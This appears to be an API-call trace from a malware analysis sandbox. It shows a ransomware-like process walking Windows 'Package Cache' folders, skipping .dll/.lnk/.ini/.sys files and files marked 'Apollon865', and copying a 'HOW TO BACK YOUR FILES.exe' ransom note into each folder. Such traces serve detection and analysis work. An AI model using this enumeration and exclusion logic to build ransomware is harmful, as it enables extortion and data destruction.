	[0038.873] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.873] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.873] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.874] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0038.874] lstrlenW (lpString="state.rsm") returned 9
	[0038.874] lstrlenW (lpString="Apollon865") returned 10
	[0038.874] lstrlenW (lpString=".dll") returned 4
	[0038.874] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0038.874] lstrlenW (lpString=".lnk") returned 4
	[0038.874] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0038.874] lstrlenW (lpString=".ini") returned 4
	[0038.874] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0038.874] lstrlenW (lpString=".sys") returned 4
	[0038.874] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0038.874] lstrlenW (lpString="state.rsm") returned 9
	[0038.874] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe"
	[0038.874] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0038.874] lstrlenW (lpString="Apollon865") returned 10
	[0038.874] lstrcmpiW (lpString1="st_x64.exe", lpString2="Apollon865") returned 1
	[0038.874] lstrlenW (lpString=".dll") returned 4
	[0038.874] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1
	[0038.874] lstrlenW (lpString=".lnk") returned 4
	[0038.874] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1
	[0038.874] lstrlenW (lpString=".ini") returned 4
	[0038.874] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1
	[0038.874] lstrlenW (lpString=".sys") returned 4
	[0038.874] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1
	[0038.874] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0038.874] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0038.874] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a380 | out: hHeap=0x580000) returned 1
	[0038.874] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0038.874] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 82
	[0038.874] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0038.874] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.874] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.879] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.879] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.879] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.879] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.879] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.879] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0038.879] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0038.879] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0038.879] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.879] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.879] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0038.879] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0038.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0038.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0038.879] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned 91
	[0038.879] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0038.879] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.880] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.885] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.886] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.886] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.886] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.886] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0038.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0038.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe2) returned 0x59a380
	[0038.886] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0038.886] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.886] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.886] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0038.886] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0038.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a380 | out: hHeap=0x580000) returned 1
	[0038.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0038.886] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned 112
	[0038.886] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0038.886] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.886] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.893] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.893] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.893] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.893] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.893] lstrcpyW (in: lpString1=0x2d3e632, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.893] lstrlenW (lpString="cab1.cab") returned 8
	[0038.893] lstrlenW (lpString="Apollon865") returned 10
	[0038.893] lstrlenW (lpString=".dll") returned 4
	[0038.893] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.893] lstrlenW (lpString=".lnk") returned 4
	[0038.893] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.893] lstrlenW (lpString=".ini") returned 4
	[0038.893] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.893] lstrlenW (lpString=".sys") returned 4
	[0038.893] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.893] lstrlenW (lpString="cab1.cab") returned 8
	[0038.893] lstrcpyW (in: lpString1=0x2d3e632, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0038.893] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0038.893] lstrlenW (lpString="Apollon865") returned 10
	[0038.894] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0038.894] lstrlenW (lpString=".dll") returned 4
	[0038.894] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0038.894] lstrlenW (lpString=".lnk") returned 4
	[0038.894] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0038.894] lstrlenW (lpString=".ini") returned 4
	[0038.894] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0038.894] lstrlenW (lpString=".sys") returned 4
	[0038.894] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0038.894] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0038.894] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0038.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a2d0 | out: hHeap=0x580000) returned 1
	[0038.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0038.894] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 82
	[0038.894] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0038.894] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.894] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.899] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.899] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.899] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.899] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.899] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0038.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0038.899] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0038.899] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.899] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.899] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0038.899] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0038.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0038.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0038.899] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned 91
	[0038.899] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0038.899] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.899] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.904] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.904] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.904] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.904] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0038.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0038.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe8) returned 0x59a2d0
	[0038.904] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0038.904] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.904] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.905] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0038.905] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0038.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a2d0 | out: hHeap=0x580000) returned 1
	[0038.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0038.905] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned 115
	[0038.905] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0038.905] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.905] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.911] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.911] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.911] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.911] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.911] lstrcpyW (in: lpString1=0x2d3e638, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.911] lstrlenW (lpString="cab1.cab") returned 8
	[0038.911] lstrlenW (lpString="Apollon865") returned 10
	[0038.911] lstrlenW (lpString=".dll") returned 4
	[0038.912] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.912] lstrlenW (lpString=".lnk") returned 4
